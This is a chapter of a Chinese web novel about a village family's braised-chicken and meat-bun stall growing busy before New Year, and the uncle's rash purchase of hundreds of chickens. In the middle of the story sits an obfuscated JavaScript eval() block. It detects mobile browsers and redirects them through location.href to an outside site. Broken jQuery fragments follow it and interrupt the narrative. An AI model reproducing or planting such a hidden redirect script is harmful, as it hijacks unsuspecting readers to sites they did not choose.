就这样，俞有钱每天早上出摊，连生帮忙做肉夹馍，收摊的时候留下六个肉夹馍给顾大安两口子和孩子做午饭，下午先帮顾大安杀猪，自己再洗好猪肠，回来的之前杀好鸡，鸡杂小鸡蛋留给外甥们晚上添个菜。


    等俞荷放学回来，五花肉猪头肉肥肠家里帮忙炸好煮熟，只需她看着下料炖煮，两缸卤汁可以重复使用，只要每次煮之前再加点料。


    “酒和红糖成本高点。大料葱姜蒜辣椒都可以买到。”俞有钱看俞荷锅里倒酒和红糖，肉疼。


    俞荷想起自己屋里半袋子的甜酒曲，现在还不是拿出来的时候，要不然，米酒炖肉别有一番风味。


    高浓度的麦曲酒就更不知道什么能酿。


    “三叔，麦芽糖也可以做肉，腊月应该会有卖糖人的匠人，我们存上几十斤。酒没办法代替，猪肉靠酒提味增香。”


    俞有钱把麦芽糖记在账本上，锅里看看，打发俞荷去睡觉。


    “你好好识字，说不定你阿奶那天要考你们！”俞有钱了解自己母亲，要是她那天看不顺眼就会找茬。


    “真的？学好了有奖励吗？”俞荷狡黠的问，“有奖励的话我就努力努力！”


    “你别翻车让她有机会怪我带你做小买卖就好。”


    “那不能，我和三叔合作愉快着呢。”


    俞荷练习越勤，俞有钱第二天就买了一罐麦芽糖，俞荷先锅里倒水炒糖色，红亮亮的颜色很浓。


    “以后鸡和五花肉用麦芽糖上色再炸。”俞荷和帮忙的阿娘二婶说，“能省钱。”


    为了试口味，先用调配好的新卤汁做了一只烧鸡味道不错，给家里人当晚饭，晚上再用新卤汁煮烧鸡和猪肉。


    俞荷又买了红辣椒面做料油凉拌肉卖，淘汰了心肝肺做的肉夹馍，心肝现在卤好单切用大料花生芝麻辣椒油葱花香菜凉拌，或者和猪头肉三混凉拌，很受欢迎。


    猪肺还没发现好吃法，最后被买走。


    猪头肉夹馍和肥肠肉夹馍便宜好吃，买的人最多，东坡肉五十块有时候卖不完，俞有钱就切了夹馍卖出去。


    最贵的烧鸡，一天十只，反而是摊子上最早卖完的。


    俞有钱想增加烧鸡供应，想把肉夹馍的生意让给连生。


    “你大姑父，一个人挣钱六个人花，起早贪黑忙不停，两个小的换着穿一条裤子，他们比你还大一岁呢！”


    俞荷记得两个小表哥是双胞胎叫连明连辉，几次见面都很怕生，也没说上话。


    “可以的。肥肠和猪头肉我们帮忙卤，不要钱。”本来去蹭大姑父的摊位，她就打着帮忙的主意，三叔同意，她更没话说。


    俞有钱以为小家伙想半天不同意，没想到比自己还大方。


    “现在就看你大姑父愿不愿意了！我估计悬。”


    “要不这样吧，算合伙，大姑父姑姑出肉钱，我们买馒头，除过成本对半分。”一天也有五十文，再家里给送菜，应该能存点钱。


    俞荷把问题扔给大人们，她去练字。阿奶现在每天晚上都盯着二哥写字，是有意看着他。说不住定哪天就轮到她了！


    随着年关将近，顾大安忙的顾不上和小舅子说话，俞有钱和大姐自己商量好，连生帮忙做肉夹馍。


    大户开始一头两头的买猪肉，地主们也半只半只的买。


    猪头猪内脏一下多了，马三面给大女儿送菜做午饭，有空就给俞有钱帮忙洗猪肠烧猪头。


    俞记烧鸡东坡肉肉夹馍的名声打出去，赶集的就差人手买一个肉夹馍了。


    进了腊月，俞有钱每天要去馒头店批发三四百个热馒头才够做肉夹馍。


    唐大丫俞有粮自发每天帮忙出摊，中午回去一起收拾要煮的肉。


    俞家院子里从早到晚都飘着一股浓浓的肉香，没睡几天安稳觉的宋老太馋的半夜睡不着。


    “有地家又开始出摊了。”


    “要是有地明年六月能考中秀才，就翻身了。”


    “烧鸡比干巴巴的烤鸭还香。”躲在人群中的王老二有话说。


    “其实肉夹馍更实惠。黄豆卖出去，五文钱怎么都有。大家伙明天赶集去早点还能买到。”


    俞耿给他背脊上一拐杖，骂道：“你省着点粮食，免得三四月天天吃野菜！”


    “大爷，我知道。就买了一次，买了半只也不贵。花了五十文。东坡肉那是读书人吃的我可舍不得钱。”


    王老二转天就来给俞有钱卖好，把俞村族人谁说了什么话，一五一十说给他听。


    俞有钱道了谢，笑着送他一个肉夹馍。


    “三哥，你能干，大家看的眼热，凭他们说去。”王老二要走还不忘拱火。


    俞有钱长了个心眼儿，买鸡自己不去，不是让俞有粮帮忙，就让唐大丫去买，周围打听了一圈也没发现谁家养鸡，集市上的鸡都是农家淘汰下来趁过年价格好，换了钱准备过年的零用。


    “买鸡还不容易，跟我去村里收猪，你给的上价，鸡要多少有多少。”初三顾大安笑着给俞有钱出了个主意。


    俞有钱就赶着牛车跟顾大安约好的李山镇一个村去买鸡。顾大安牵回来四头二百斤的肥猪，俞有钱买到二百只鸡。


    晚上，俞荷不得不几班加点做烧鸡，马三面后院的鸡屎，让全家人赶紧帮忙。


    “老三，万一有鸡瘟，你给我赔！”


    “我赔，赔！”


    一天做三十只烧鸡，二百只要卖到腊月十五，马三面心里骂骂咧咧，脸色一天比一天难看。


    谁知道，腊月八，俞有钱又买回来三百只公鸡母鸡。


    “我们走得远，在大山里，山民养的鸡又大又好，一只三十文，很便宜，我本来只买两百，姐夫劝我都买了，说过年这几天大家手里有钱。做出来能卖完。我经不住蛊永都买了。”


    “我的钱包，可是大出血呢！”


    马三面见俞有钱怂怂的样子，又气又笑。


    深更半夜，全家人一起杀鸡拔毛，俞荷打着瞌睡看火看锅煮。


    五十只漂亮的烧鸡做出来，连俞有钱睡前都担心卖不完怎么办！


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220790|150034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    收鸡的时候被人奉承几句，这家好这家更好东西南北都分不清了一鼓作气买买买。现在后悔晚了。


    俞荷一夜好眠，精神饱满，今天她不出摊是不行了，后院那几百只鸡可有她一半的本钱。


    “买烧鸡送一个洋芋片辣子肉夹馍！”俞有钱像第一天开业时开始叫卖。


    西街住都是富户，一边打趣一边掏钱，有人还问，“俞小弟，这是怎么了？烧鸡今天做了几百只怕卖不出去啊？”


    “来来来，我帮忙消化一只！”


    “俞小哥，你不会像上次卖烤鸭胡辣汤一样卖完就不卖了吧！”李管事这话把听声观望的人吓了一跳。


    “李叔，我做生意，我爹娘不同意。说不准，现在还说不准。”


    李管事心里一突突，他本来打算十八多买几只和年礼送给主家和几个交好的人家，这要是没有烧鸡，他哪里买去？


    “俞小哥，你说实话，还卖几天？”


    “今天卖出去看情况，李管事咱老熟人了，别人没有，你都有。”俞有钱故意压低声音说，“还望你不要说出去，谁问就说我家养的鸡不多了。可行？”


    “行。怎么不行。给我来一只大的烧鸡。”


    俞有钱赶紧捡背篓里一只最大的给他。


    观望的人看李管事买了只，赶紧掏钱，先买的可以挑大小，后面剩下的小的也要一百文呢。


    胡嬷嬷赶着以前的时候来，背篓里剩下的都是小烧鸡了。


    “俞小弟，你着烧鸡阴干了上锅蒸，放辣椒油凉拌也好吃。”


    “胡婶厨艺高，今天还来两只小的？”俞有钱一边恭维一边提起绑烧鸡的稻草让她挑选。


    “来六只，一只便宜两文。”胡管事试着讲价，六只能省十二文呢！


    “十只全买完了，给您一只便宜四文，就多了四只而已。”俞有钱悄声说。


    “行。劳烦你给我送过去！”


    俞有钱背着背篓就给她送去胡家后院大门口，胡管事把烧鸡拿进去，很爽快的出来付了钱。


    “小哥，你家烧鸡味道不错。怎么不拿到县城去卖呢，一天一百只都能卖掉。”胡管事笑盈盈的提建议。


    “多谢多谢！”当头棒喝，俞有钱背着背篓赶紧回家做烧鸡。


    就是啊，县城人多，随便买买，几百只肯定能卖完，他怎么没想到呢！


    俞有钱兴奋的一股脑说给俞荷，“俞荷，明天多做点，我们去县城。”


    “明天初十，逢大集，我决定做一百只烧鸡在白水镇卖。”县城还不如镇上卖，他们在镇上打响了名号，去县城谁认识谁！


    县城里好味道多不说，主妇们生活一文钱都要精打细算，不如乡邻大方。


    “三叔，就算卖不完，正月十五到二月二还能接着卖，不着急。去县里人生地不熟，谁知道我们是谁！我们现在去县里卖烧鸡，讲究排场不怕贵不会买，怕贵的问都不问。反而浪费了时间。”


    俞有钱一听，拉着俞荷撂下肉夹馍生意急吼吼回家杀鸡做烧鸡。